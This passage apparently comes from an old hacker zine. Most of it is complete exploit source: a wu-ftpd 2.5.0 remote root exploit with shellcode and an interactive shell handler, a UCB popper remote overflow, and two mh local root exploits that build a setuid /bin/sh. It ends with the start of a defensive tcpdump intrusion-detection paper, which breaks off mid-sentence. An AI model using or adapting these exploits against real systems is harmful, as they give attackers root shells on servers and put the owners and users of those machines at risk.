"\x69\x6e\x53\x73\x68\x5d\x31\xc0\x88\x45\x02\x88\x45\x0f\x88\x45"
"\x17\x8d\x5d\x15\x89\x5d\x18\x89\x45\x1c\x04\x2e\x40\x88\x45\x03"
"\x88\x45\x07\x88\x45\x10\x88\x45\x14\x31\xc0\x89\xc3\x89\xc1\xb0"
"\x46\xcd\x80\x8d\x5d\x16\x31\xc9\x66\xb9\x6d\x01\x31\xc0\xb0\x27"
"\xcd\x80\x8d\x5d\x16\x31\xc0\xb0\x3d\xcd\x80\x31\xc9\xb1\x42\x89"
"\xeb\x31\xc0\xb0\x0c\xcd\x80\x49\x75\xf5\x8d\x5d\x01\x31\xc0\xb0"
"\x3d\xcd\x80\xeb\x5d\x8d\x55\x1c\x8d\x4d\x18\x8d\x5d\x10\x31\xc0"
"\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x2a\x02\x02\x04"
"\x04\x01\x01\x01\x01\x04\x04\x02\x02\x89\xf3\x66\xb9\x32\x4b\x31"
"\xc0\xb0\x36\xcd\x80\xc3\x89\xc2\x53\xc1\xe3\x10\x09\xda\x89\xf3"
"\x66\xb9\x30\x4b\x31\xc0\xb0\x36\xcd\x80\x5a\xc1\xe2\x14\x89\x55"
"\x08\x31\xc0\x89\x45\x04\x8d\x5d\x04\x31\xc9\xb0\xa2\xcd\x80\xc3"
"\xeb\xb2\x8d\x5d\x03\x31\xc9\xb1\x02\x31\xc0\xb0\x05\xcd\x80\x89"
"\xc6\x31\xc0\xb0\x9b\x01\xe8\x89\x45\x10\x31\xdb\xb3\xa8\x90\x90"
"\x01\xeb\x89\x5d\x18\x31\xc0\xb0\x8e\x01\xe8\x89\x45\x0c\x31\xc9"
"\xb1\x06\x51\x59\x49\x51\xe3\xc8\x31\xc0\x40\x8b\x5d\x0c\x88\x03"
"\x31\xff\x66\xbf\x5c\x12\x89\xf8\x31\xdb\xb3\x28\xff\x55\x18\x8b"
"\x5d\x0c\x31\xc0\x8a\x03\x50\x03\x45\x0c\x31\xd2\x8a\x10\x58\x40"
"\x83\xf8\x0c\x75\x03\x31\xc0\x40\x88\x03\xff\x55\x10\x31\xc0\xb0"
"\x47\x29\xc7\x66\x81\xff\x60\x09\x73\xcc\x31\xff\x66\xbf\x60\x09"
"\x0f\xba\xe7\x01\x73\x07\x31\xd2\xb2\x07\xff\x55\x10\x89\xf8\x31"
"\xdb\xb3\x28\xff\x55\x18\x0f\xba\xe7\x01\x73\x07\x31\xd2\x31\xd2"
"\xff\x55\x10\x31\xc0\xb0\x65\x01\xc7\x66\x81\xff\x5c\x12\x76\xd0"
"\xeb\x81";
void usage() {
int i;
printf("wuftpd 2.5.0 remote r00t exploit. C0ded by nuuB [Sep 19, 1999].\n\n"
"Usage: wuftpd250-sploit <target> <type>\n\n"
"<target> = [<user>:<pass>@]<host>[:<port>][/<writable dir>]\n\n"
"Type Neeq Distro RPM Banner date\n"
"---- ---- ------ ------------------------------- ----------------------------\n");
for(i=0; presets[i].desc; ++i) {
if(presets[i].mpsize)
printf("%2d) %s\n", i, presets[i].desc);
}
printf("\n"
" eip = setproctitle() eip overwrite (stack, unreliable, anonymous only)\n"
" ljmp = errcatch JB_PC overwrite (heap, anonymous only)\n"
" 2x = errcatch JB_PC overwrite using 2x combo (heap)\n");
exit(0);
}
void parse_url(char *url) {
char *u, *s;
u=strdup(url);
if((s=strrchr(u, '@'))) {
*s++=0;
target_user=u;
u=s;
if(!(s=strchr(target_user, ':'))) usage();
*s++=0;
target_pass=s;
}
target_host=u;
if((u=strchr(u, '/'))) {
target_dir=strdup(u);
*u=0;
}
if((s=strchr(target_host, ':'))) {
*s++=0;
if(!isdigit(*s)) usage();
target_port=atoi(s);
}
else
target_port=21;
}
void baile(char *s) {
printf("*** %s [errno=%d - %s]\n", s, errno, strerror(errno));
exit(1);
}
void bail(char *s) {
printf("*** %s\n", s);
exit(1);
}
/* Should work on all platforms */
char *htol_LEstr(unsigned long num) {
static unsigned char buf[5];
unsigned long n;
n=htonl(num);
buf[0]=(n>>24)&0xff;
buf[1]=(n>>16)&0xff;
buf[2]=(n>>8)&0xff;
buf[3]=n&0xff;
buf[4]=0;
if(strlen(buf) != 4 ||
strchr(buf, '\r') || strchr(buf, '\n') || strchr(buf, '/')) {
printf("*** Illegal char in number 0x%08x found!\n\n", (unsigned int)num);
bail("Sploit needs to be slightly realigned. No problems, right kidz? B}");
}
return buf;
}
int connect_host() {
char *p;
int fd;
struct sockaddr_in target, me;
struct hostent *he;
int me_len;
/* Connect to victim */
memset(&target, 0, sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
if(!inet_aton(target_host, &target.sin_addr)) {
if(!(he=gethostbyname(target_host)))
baile("Unable to resolve victim hostname.");
memcpy((char *)&target.sin_addr, he->h_addr, he->h_length);
}
target.sin_port=htons(target_port);
if((fd=socket(AF_INET, SOCK_STREAM, 0))<0) baile("socket() failed");
if(connect(fd, &target, sizeof(target))) baile("connect() failed");
/* Get local hostname */
me_len=sizeof(me);
if(getsockname(fd, &me, &me_len))
baile("Unable to determine local hostname!");
if((he=gethostbyaddr((char *)&me.sin_addr, sizeof(me.sin_addr), AF_INET)))
local_hostname=strdup(he->h_name);
else if((p=inet_ntoa(me.sin_addr))) {
strcpy(local_hostname, p);
}
else
baile("Unable to determine local hostname!");
printf("*** Local hostname: %s\n", local_hostname);
return fd;
}
char *get_response_str() {
static char buf[16384]; /* Yer leet-hacked-up ftpd can 0wn the sploiter B] */
char *p;
p=buf;
while(read(ctrl, p, 1) == 1) {
if(*p == '\r') {
*p++=0;
while(read(ctrl, p, 1) == 1 && *p != '\n')
;
if(buf[3] == ' ') {
if(verbose == 1)
printf("%4.4s\n", buf);
else if(verbose >= 2)
printf("%s\n", buf);
return buf;
}
p=buf;
continue;
}
++p;
}
bail("Server disconnected.");
return 0; /* Never reached */
}
int get_response() {
char *s;
s=get_response_str();
if(!isdigit(s[0]) || !isdigit(s[1]) ||!isdigit(s[2]))
bail("Illegal response from server.");
return atoi(s);
}
void send_command(unsigned char *cmd) {
if(verbose == 1) printf("--> %4.4s\n", cmd);
if(verbose >= 2) printf("--> %s\n", cmd);
while(*cmd) {
if(write(ctrl, cmd, 1) != 1) baile("write failed");
if(*cmd == 0xff) /* 0xff -> IAC IAC */
if(write(ctrl, cmd, 1) != 1) baile("write failed");
++cmd;
}
if(write(ctrl, "\r\n", 2) != 2)
baile("write failed");
}
int mkd_cwd(char *dir) {
char buf[1024];
int r;
sprintf(buf, "MKD %s", dir);
send_command(buf);
r=get_response();
if(r != 257 && r != 521) {
printf("*** Failed to create dir (reply=%d)\n", r);
bail("Aborting.");
}
sprintf(buf, "CWD %s", dir);
send_command(buf);
r=get_response();
if(r != 250 && mkd_cwd_bail_on_error) bail("CWD failed.");
return r;
}
/* update_buffer() + shovel_data() moves data between the shell and the
* local terminal.
*/
#define BUFSIZE 128
int update_buffer(char *buf, int *idx, int thisone, int direction) {
if(thisone < 0) {
if(errno == EINTR || errno == EWOULDBLOCK)
return 0;
return 1;
}
if(!thisone)
return 1;
if(direction < 0) {
if(thisone < *idx)
memmove(buf, &buf[thisone], *idx-thisone);
*idx-=thisone;
}
else
*idx+=thisone;
return 0;
}
void shovel_data(int netfd) {
fd_set R,W;
char obuf[BUFSIZE], ibuf[BUFSIZE];
int o, i;
int done;
fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK);
fcntl(STDOUT_FILENO, F_SETFL, O_NONBLOCK);
fcntl(netfd, F_SETFL, O_NONBLOCK);
o=i=done=0;
while(!done) {
FD_ZERO(&R); FD_ZERO(&W);
if(i > 0) FD_SET(STDOUT_FILENO, &W);
if(i < BUFSIZE) FD_SET(netfd, &R);
if(o > 0) FD_SET(netfd, &W);
if(o < BUFSIZE) FD_SET(STDIN_FILENO, &R);
select(netfd+1, &R, &W, 0, 0);
if(FD_ISSET(STDOUT_FILENO, &W))
done|=update_buffer(ibuf, &i, write(STDOUT_FILENO, ibuf, i), -1);
if(FD_ISSET(netfd, &W))
done|=update_buffer(obuf, &o, write(netfd, obuf, o), -1);
if(FD_ISSET(STDIN_FILENO, &R))
done|=update_buffer(obuf, &o, read(STDIN_FILENO, &obuf[o], BUFSIZE-o),1);
if(FD_ISSET(netfd, &R))
done|=update_buffer(ibuf, &i, read(netfd, &ibuf[i], BUFSIZE-i), 1);
}
}
/* Do the stuff common to the attacks */
int do_prologue() {
char buf[1024];
char *s, *t;
int pos;
verbose=2;
mkd_cwd_bail_on_error=1;
if(get_response() != 220) bail("No welcome banner.");
sprintf(buf, "USER %s", target_user);
send_command(buf);
if(get_response() != 331) bail("USER failed.");
sprintf(buf, "PASS %s", target_pass);
send_command(buf);
if(get_response() != 230) bail("PASS failed.");
if(target_dir) {
sprintf(buf, "CWD %s", target_dir);
send_command(buf);
if(get_response() != 250) bail("CWD <writable dir> failed.");
}
send_command("PWD");
s=get_response_str();
if(strncmp("257 \"", s, 5) || !(t=strchr(&s[5], '"')))
bail("Unable to get current directory.");
/* Pos is how much of mapped_path is used so far (excluding NULL) */
pos=(t-(s+5));
printf("*** Creating deep directory. This may take some time...\n");
verbose=0;
/* Align to 256 bytes (excluding trailing /) */
memset(buf, 'A', sizeof(buf));
buf[256-(pos+1)]=0;
mkd_cwd(buf);
pos+=1+strlen(buf);
/* Keep going */
memset(buf, 'A', sizeof(buf));
buf[255]=0;
while(pos+255 < mapped_path_size-256*2) {
mkd_cwd(buf);
pos+=1+strlen(buf);
}
printf("*** Time to bring out the c0de...\n"
"*** Reply codes: 250=OK, 521=Exists, 257=Created, 5xx=Failed\n");
verbose=1;
/* alarm(0) B} */
/* c0de[131]=c0de[132]=c0de[255]; */
/* First part of the code */
strncpy(buf, c0de, 255);
buf[255]=0;
mkd_cwd(buf);
pos+=1+255;
/* Second part + pad */
memset(buf, 'A', sizeof(buf));
strncpy(buf, c0de+256, C0DE_SIZE-256);
buf[255-12-1]=0;
mkd_cwd(buf);
pos+=1+strlen(buf);
/* Sofar mmaped_path_size-12 bytes of mapped_path is used (including null) */
return pos;
}
void attack_anon() {
char buf[1024];
int pos;
if(target_user || target_pass)
bail("Sorry, this type only works for anonymous FTP...");
printf("*** Logging in as anonymous.\n");
ctrl=connect_host();
/* Calculate offsets */
c0de_addr=mapped_path+mapped_path_size-255-256;
owned_Argv=mapped_path+mapped_path_size-8;
owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
/* "ftpd: <host>: anonymous/" */
owned_Argv0=eip_addr-(6+strlen(local_hostname)+12);
target_user="anonymous";
sprintf(buf, "%s@tta.ck", htol_LEstr(c0de_addr));
target_pass=buf;
pos=do_prologue();
/* This last block starts at mapped_path[mapped_path_size-12] */
memset(buf, 'A', sizeof(buf));
/* Skip eeee for this method */
strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
/* Skip sizeof(owned_Argv1)+sizeof(onefile) = 4+8 */
strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
pos+=1+strlen(buf);
printf("*** Total egg size is %d. Sending final component.\n", pos);
mkd_cwd_bail_on_error=0; /* Ignore the final CWD return code */
mkd_cwd(buf);
printf("*** N0w w0u1d b3 4 g00d 71m3 70 g0 54cR1f1c3 4 g047 4nD\n"
"*** pr4Y t0 7h3 g0D 0f 0ff537z...\n\n");
/* Cause longjmp(errcatch) - only needed for the errcatch method */
write(ctrl, "MRCP\r\n", 6);
}
void attack_any() {
char buf[1024];
int pos;
int prefixlen;
if(!target_user || !target_pass) {
target_user="anonymous";
target_pass="cr@ck.er";
printf("*** Logging in as anonymous.\n");
}
ctrl=connect_host();
/* Calculate offsets */
c0de_addr=mapped_path+mapped_path_size-255-256;
owned_Argv=mapped_path+mapped_path_size-8;
/* "ftpd: <host>: <user>: CWD " */
prefixlen=14+strlen(local_hostname)+strlen(target_user);
/* 'anonymous/' pass */
if(!strcmp(target_user, "ftp") || !strcmp(target_user, "anonymous"))
prefixlen+=strlen(target_pass)+1-strlen(target_user)+9;
pos=do_prologue();
/* First CWD */
owned_Argv0=eip_addr-prefixlen;
owned_Argv=mapped_path+mapped_path_size-8;
owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
memset(buf, 'A', sizeof(buf));
strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
pos+=1+strlen(buf);
printf("*** Total egg size is %d. Sending 2x combo.\n", pos);
verbose=1;
printf("*** Round-house kick.\n");
mkd_cwd_bail_on_error=0; /* Ignore the CWD return code */
if(mkd_cwd(buf) == 250) {
send_command("CWD .."); /* Back up if the chdir() was successful */
get_response();
}
/* Second CWD.
*
* Borrow some room near TOP_OF_STACK ("free space") as a safe place for
* the remaining times setproctitle() is called.
*/
owned_Argv0=TOP_OF_STACK-8;
owned_LastArgv=TOP_OF_STACK-1;
strncpy(buf, htol_LEstr(c0de_addr), 4);
strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
printf("*** Elite-airborne-double-kick-to-the-head as featured in "
"The Matrix.\n");
mkd_cwd(buf);
printf("*** Triggering c0de. K33P y3R f1Ng4z X-3d!\n");
write(ctrl, "MRCP\r\n", 6); /* Cause longjmp(errcatch) */
}
int main(int argc, char *argv[]) {
int i;
if(argc != 3 || !isdigit(*argv[2])) usage();
parse_url(argv[1]);
/* Find the preset */
for(i=0; presets[i].desc; ++i) {
if(i==atoi(argv[2]))
break;
}
if(!presets[i].mpsize) bail("No such target type.");
mapped_path_size=presets[i].mpsize;
mapped_path=presets[i].mp;
eip_addr=presets[i].eip_addr;
(presets[i].attack)();
signal(SIGINT, SIG_IGN); /* Get rid of accidental ctrl-C */
write(ctrl, "id\n", 3); /* assert(0wnage) */
shovel_data(ctrl);
write(ctrl, "\nexit\n", 6); /* Extra safeguard in case user hits ctrl-D */
printf("\n*** I hope you behaved...\n***\n*** nuuB\n");
return 0;
}
@HWA
36.0 ucb.c remote UCB popper exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.hack.co.za/
/*
* Remote root exploit for UCB popper on Linux
*
* sk8@lucid-solutions.com
* http://www.lucid-solutions.com
*
* Usage: ( ./linux-ucb 0 ; cat ) | nc your.host.com 110
* Try adjusting offsets by 100.
*
* Tested on UCB Pop server (version 1.831beta)
*
* I figure it's safe to release this since UCB is not that
* common anymore. But if you are still running it on your
* system(s), you had better upgrade. This program shows you
* why.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/errno.h>
/* Linux x86 shellcode */
char *shell=
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
#define ADDR 0xbffff1d8
#define OFFSET 0
#define BUFLEN 1100
char buffer[BUFLEN];
int offset=OFFSET;
int main (int argc, char *argv[]) {
int i;
if(argc > 2) {
printf("Usage: %s [offset]\n",argv[0]);
exit(0);
}
if(argc==2)
offset=atoi(argv[1]);
/* Set up the buffer */
memset(buffer,0x90,BUFLEN);
memcpy(buffer+BUFLEN-200-strlen(shell),shell,strlen(shell));
for(i=BUFLEN-200+1;i<BUFLEN-4;i+=4)
*(int *)&buffer[i]=ADDR-BUFLEN+100+offset;
buffer[BUFLEN-1]='\n';
printf("%s\n", buffer);
}
@HWA
37.0 mh-6.8.3 / bbc Exploit for Linux (Shadow Penguin)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.hack.co.za/
/*=============================================================================
mh-6.8.3 / bbc Exploit for Linux
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by
UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdlib.h>
#include <stdio.h>
#define BBC_PATH "/usr/jp/bin/mh/bbc"
#define RET_ADR 1009
#define FAKE1 1013
#define FAKE2 1017
#define FAKE_OFS 0x2274
#define JMP_OFS 0x3000
#define MAXBUF 3000
#define NOP 0x90
#define SHELL "/tmp/pp"
#define COMPILER "gcc"
char exec[60]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
char xx[MAXBUF+1];
unsigned int i,ip,sp;
FILE *fp;
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
main(int argc,char *argv[])
{
strcat(exec,SHELL);
sprintf(xx,"%s.c",SHELL);
if ((fp=fopen(xx,"w"))==NULL){
printf("Can not write to %s\n",xx);
exit(1);
}
fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}");
fclose(fp);
sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
system(xx);
sp=get_sp();
printf("ESP = %x\n",sp);
memset(xx,NOP,MAXBUF);
ip=sp-FAKE_OFS;
xx[FAKE1 ]=ip&0xff;
xx[FAKE1+1]=(ip>>8)&0xff;
xx[FAKE1+2]=(ip>>16)&0xff;
xx[FAKE1+3]=(ip>>24)&0xff;
xx[FAKE2 ]=ip&0xff;
xx[FAKE2+1]=(ip>>8)&0xff;
xx[FAKE2+2]=(ip>>16)&0xff;
xx[FAKE2+3]=(ip>>24)&0xff;
ip=sp-JMP_OFS;
xx[RET_ADR ]=ip&0xff;
xx[RET_ADR+1]=(ip>>8)&0xff;
xx[RET_ADR+2]=(ip>>16)&0xff;
xx[RET_ADR+3]=(ip>>24)&0xff;
strncpy(xx+800,exec,strlen(exec));
xx[MAXBUF]=0;
if (argc!=2)
execl(BBC_PATH,"bbc","test","-file",xx,(char *) 0);
else
execl(argv[1],"bbc","test","-file",xx,(char *) 0);
}
@HWA
38.0 mh-6.8.3 / inc Exploit for Linux (Shadow Penguin)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.hack.co.za/
/*=============================================================================
mh-6.8.3 / inc Exploit for Linux
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by
UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdlib.h>
#include <stdio.h>
#define BBC_PATH "/usr/jp/bin/mh/inc"
#define RET_ADR 1017
#define JMP_OFS 0x1f30
#define MAXBUF 3000
#define NOP 0x90
#define SHELL "/tmp/pp"
#define COMPILER "gcc"
char exec[60]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
char xx[MAXBUF+1];
unsigned int i,ip,sp;
FILE *fp;
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
main(int argc,char *argv[])
{
strcat(exec,SHELL);
sprintf(xx,"%s.c",SHELL);
if ((fp=fopen(xx,"w"))==NULL){
printf("Can not write to %s\n",xx);
exit(1);
}
fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}");
fclose(fp);
sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
system(xx);
sp=get_sp();
printf("ESP = %x\n",sp);
memset(xx,NOP,MAXBUF);
ip=sp-JMP_OFS;
xx[RET_ADR ]=ip&0xff;
xx[RET_ADR+1]=(ip>>8)&0xff;
xx[RET_ADR+2]=(ip>>16)&0xff;
xx[RET_ADR+3]=(ip>>24)&0xff;
strncpy(xx+800,exec,strlen(exec));
xx[MAXBUF]=0;
if (argc!=2)
execl(BBC_PATH,"inc","-file",xx,(char *) 0);
else
execl(argv[1],"inc","-file",xx,(char *) 0);
}
@HWA
39.0 Interpreting Network Traffic:by Richard Bejtlich
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.security-focus.com/
Interpreting Network Traffic: A Network Intrusion Detectors Look at Suspicious Events
by Richard Bejtlich <bejtlich@altavista.net>
Thu Nov 18 1999
Interpreting Network Traffic:
A Network Intrusion Detectors Look
at Suspicious Events
by Richard Bejtlich
bejtlich@altavista.net
v 2.0 28 Oct 99
The purpose of this paper is to discuss interpretations of selected
network traffic events from the viewpoint of a network intrusion detection
analyst. (I define an "event" as any TCP/IP-based network traffic which
prompts an analyst to investigate further. Generally, a suspicion that
traffic has an abnormal or malicious character should prompt a closer look.)
I assume the analyst has no knowledge of the source of the event outside of
the data collected by his network-based intrusion detection system (NIDS) or
firewall logs. I do not concentrate on the method by which these events are
collected, but I assume it is possible to obtain data in TCPDump format.
Using this standard allows a consistent presentation and interpretation of
network traffic.
I thank Steven Northcutt for writing "Network Intrusion Detection:
An Analysts Handbook." His work prompted me to analyze my own IDS output
more closely, resulting in the traces you see today. I must also thank my
coworkers for sharing their technical expertise and for reviewing this
paper.
[ The Problem ]
Network intrusion detection is part art and part science. When
confronted by abnormal network traffic, one must answer several questions:
- What is happening?
- What caused the traffic to be generated?
- Is malicious intent involved?
- What is the appropriate course of action?
Since few people in the network security field are "experts,"
answering several of these questions requires a combination of creativity
and logic. Thinking creatively helps imagine what sort of activity might have
generated the traffic seen in his NIDS or firewall logs. Thinking logically
assists the understanding of the actions necessary to generate suspicious
traffic.
While the interpretation techniques explained here are pertinent to
activity logged by a NIDS or firewall, I approach the subject from the NIDS
angle. This my favorite subject, and I present this data with a warning:
know the inner workings of your NIDS, or suffer frequent false positives
and false conclusions.
For example, perhaps a NIDS records connections only on ports 21, 23,
25, and 80, because you run services on these ports. If the NIDS alerts you
to attempted connections to these ports, it does not mean an intruder scanned
those ports alone. He may have hit ports 0 to 1023, with the NIDS only
seeing four attempted connections. Always wonder "what did the NIDS miss?"
This question is at the heart of an excellent paper by Tim Newsham and Tom
Ptacek, titled "Insertion, Evasion, and Denial of Service: Eluding Network
Intrusion Detection," available at:
http://www.nai.com/media/ps/nai_labs/ids.ps
Jonathan Skinners summary is also worth perusing:
http://www.nai.com/media/doc/nai_labs/ids-simple.doc
Newsham and Ptacek remind us a NIDS may not be able to reconstruct
events properly. From our earlier example, perhaps ports 21, 23, 25 and 80
were not the destination on the host; they could be the source ports of
another system sending packets to us. However, being low ports, the NIDS
might assume they are destination ports on our host. The NIDS then presents
a reversed direction of traffic. (If your NIDS does not make these mistakes
often, consider yourself fortunate and a smart selector of NIDS software!)
Having done network intrusion detection for the last year, I have
learned the most interesting activity occurs below the level of detail
offered by the NIDS console. Although many NIDS have improved collection,
interpretation, and presentation functions, some traffic can best be
understood at the packet trace level. Relying solely on the alerts
show by the NIDS can lead to missed or misunderstood events. If the NIDS
cannot show you packet-level action, the analyst is at the mercy of the NIDS
engines interpretation abilities.
A final goal of this paper is to promote the discussion of unrecognized
traffic in the NIDS community. I present several events which could be seen
at first glance as scanning or forms of reconnaissance. Without a collection
of properly categorized network signatures, preferably TCPDump or Snoop-based,
every new event forces analysts to "reinvent the wheel." (Note I prefer
TCPDump as it was the format of choice for Richard Stevens TCP Illustrated
volumes.) Should you disagree with my interpretations, I ask you to email me
so we can discuss those differences. I am no expert but I do recognize the
need to start a conversation among those concerned with network intrusion
detection.
[ The Tool ]
TCPDump is a utility which can help cut through the fog of
mysterious traffic. It is a network monitoring program developed by the
Lawrence Berkeley National Laboratory. It captures and reports traffic in a
consistent and frequently enlightening way. You can get the UNIX version at:
ftp://ftp.ee.lbl.gov/TCPDump.tar.Z
A team of students at the Italian Politecnico di Torino developed a
Microsoft Windows 95/98/NT port of this program called Windump, available
here:
http://netgroup-serv.polito.it/windump/
You can even use TCPDump to build a simple NIDS, as described by the
Naval Surface Warfare Center Dahlgren:
http://www.nswc.navy.mil/ISSEC/CID/step.htm
You may also profit by examining the pioneering work done by the Network
Flight Recorder and L0pht:
http://www.nfr.net and http://www.l0pht.com
[ TCPDump Format ]
A quick discussion of TCPDump output will help explain the traces
which follow. I highlight interesting portions of the traces by starting
with a short, standard, simple exchange of data via file transfer protocol.
[ Note: All traces have been "sanitized" to remove the original
IPs. Any similarity to IPs actually in use is purely
coincidental. TCP service names are based on IANAs list:
http://www.isi.edu/in-notes/iana/assignments/port-numbers
I assume working knowledge of the transmission control
protocol. See the late Richard Stevens "TCP/IP
Illustrated, Volume 1: The Protocols" Thanks Mr. Stevens. ]
Here is a packet-level conversation as seen by TCPDump, representing
the TCP three-way handshake and an exchange of data. Note I have not run
TCPDump with the -v (verbose) option, although I do so in selected traces
which follow. For the purposes of this example, verbose information does
not add significantly to the explanation. (Essentially, verbose data in
later examples displays time to live and protocol id values.) I present
the entire exchange first, with line-by-line analysis following.
1. 14:05:27.083238 ftp.client.org.1057 > ftp.server.edu.21:
S 1484414:1484414(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
2. 14:05:27.250587 ftp.server.edu.21 > ftp.client.org.1057:
S 3037133697:3037133697(0) ack 1484415 win 9112 <mss 536> (DF)
3. 14:05:27.259810 ftp.client.org.1057 > ftp.server.edu.21:
. ack 1 win 8576 (DF)
4. 14:05:27.402888 ftp.server.edu.47309 > ftp.client.org.113:
S 3037242401:3037242401(0) win 8760 <mss 1460> (DF)
5. 14:05:27.412512 ftp.client.org.113 > ftp.server.edu.47309:
R 0:0(0) ack 3037242402 win 0
6. 14:05:27.564336 ftp.server.edu.21 > ftp.client.org.1057:
P 1:88(87) ack 1 win 9112 (DF) [tos 0x10]
7. 14:05:27.727461 ftp.client.org.1057 > ftp.server.edu.21:
. ack 88 win 8489 (DF)
(seven packets deleted for clarity)
15. 14:05:35.774099 ftp.client.org.1057 > ftp.server.edu.21:
P 31:37(6) ack 183 win 8394 (DF)
16. 14:05:35.895233 ftp.server.edu.21 > ftp.client.org.1057:
P 183:197(14) ack 37 win 9112 (DF) [tos 0x10]
17. 14:05:35.903492 ftp.server.edu.21 > ftp.client.org.1057:
F 197:197(0) ack 37 win 9112 (DF) [tos 0x10]
18. 14:05:35.906748 ftp.client.org.1057 > ftp.server.edu.21:
. ack 198 win 8380 (DF)
19. 14:05:35.917049 ftp.client.org.1057 > ftp.server.edu.21:
F 37:37(0) ack 198 win 8380 (DF)
20. ?
The exchange has concluded, and I begin my explanation.
1. 14:05:27.083238 ftp.client.org.1057 > ftp.server.edu.21:
S 1484414:1484414(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
Line one shows an initiating time of 14:05:27.083238, which means
14 hours (2 pm), 05 minutes, and 27.083238 seconds. Packet transmission
rate may help classify the activity as manually-inputted or computer-
scripted. Packet type, combined with time, can help identify an event.
The many hundreds of packets sent per second help define a SYN flood,
which I discuss later.
We see ftp.client.org using port 1057 to connect to port 21 (ftp)
at ftp.server.edu. Ports will play a crucial role in deciphering odd traces.
In addition to trying to resolve any IP addresses listed, you should check
the service name associated with any relevant ports. Port 1057 is not one
of the well-known ports which can generally only be accessed as root (0-1023),
but it does fall in the range of the registered ports (1024-49151), which can
be accessed by most users and user processes. It is also in the range of the
so-called "ephemeral" ports, from 1024 to 5000, from which many hosts
initiate connections to well-know ports. As port 1057 does not have a
service registered to it, it alone should not arouse suspicion.
"S" represents "SYN," or the synchronization flag in the TCP header.
Setting the SYN flag, without other flags (like ACK, FIN, PUSH, etc.) shows
this is the first step of the three-way handshake.
Part of this first step is setting synchronization numbers. These
numbers help each side of the conversation track the exchange of data.
"1484414:1484414(0)" means the sending TCP stack is setting 1484414 as the
initial synchronization number (ISN), and "0" (no) data is being passed in
this packet. Although the numbers before and after the colon (:) are the
same for this packet, in later packets they will be different and will have
explanatory value. Richard Stevens (TCP/IP Vol 1 p. 231) explains the format:
sequence number:implied ending sequence number (data)
However, as our traces will demonstrate, the format seems to be:
sequence number of first byte in packet:sequence number of first
byte in NEXT packet (data)
TCPDump will only display the number:number (data) information for
packets with more than 0 bytes of data or those setting the SYN, FIN, or RST
flags.
Our initiating IP uses the ISN to begin counting bytes in the packets it
sends to ftp.server.edu. Tracking the synchronization number used by the
first observed packet may help identify malicious activity. Some tools use
default synchronization numbers. In certain packets shown later, we see a
host ACK 674719802 and 674711610; we assume they are responses to ISNs of
674719801 and 676711609 from an initiating hosts SYN packet.
Of interest are the TCP available window size of 8192 bytes, the
maximum segment size of 536 bytes, two "nop" options, and the "DF," or "dont
fragment" option. The TCP window is a flow control mechanism which allows
the sender to transmit multiple packets before stopping to wait for
acknowledgements. Here ftp.client.org is advertising its window size of
8192 bytes to ftp.server.edu. Next, maximum segment size is advertised by
the ftp client as 536 bytes. This is the largest collection of data which
ftp.client.org will attempt to send to the ftp server. Note this is only
the size of the data payload, as the TCP and IP headers must still be added
to the packet. Following are two "nop" options, which denote "no option."
They are present to help ftp.client.org "pad" its TCP header to form four-
byte fields. In this case, the MSS occupies four bytes (one byte for
"kind=2," one byte for "len=4," and two bytes for the actual MSS value).
"sackOK" denotes acceptance by the ftp client of the "selective
acknowledgement" option, described in RFC 2018. Selective acknowledgement
is a method allowing the data receiver to tell the sender which segments
arrived successfully. This lets the sender retransmit only lost packets, in
an attempt to improve upon TCPs cumulative acknowledgement process. Since
this option occupies two bytes (one byte for "kind=4" and another for
"len=2"), the two single-byte "nop" options round out the fields to two
even four-byte sections. (The four byte value is significant, as it is the
"width" of the standard TCP header.) Finally, the presence of DF, an IP
option, shows the ftp.client.org is asking the ftp server not to fragment
its packets.
While innocent in this first packet, these options may be worth
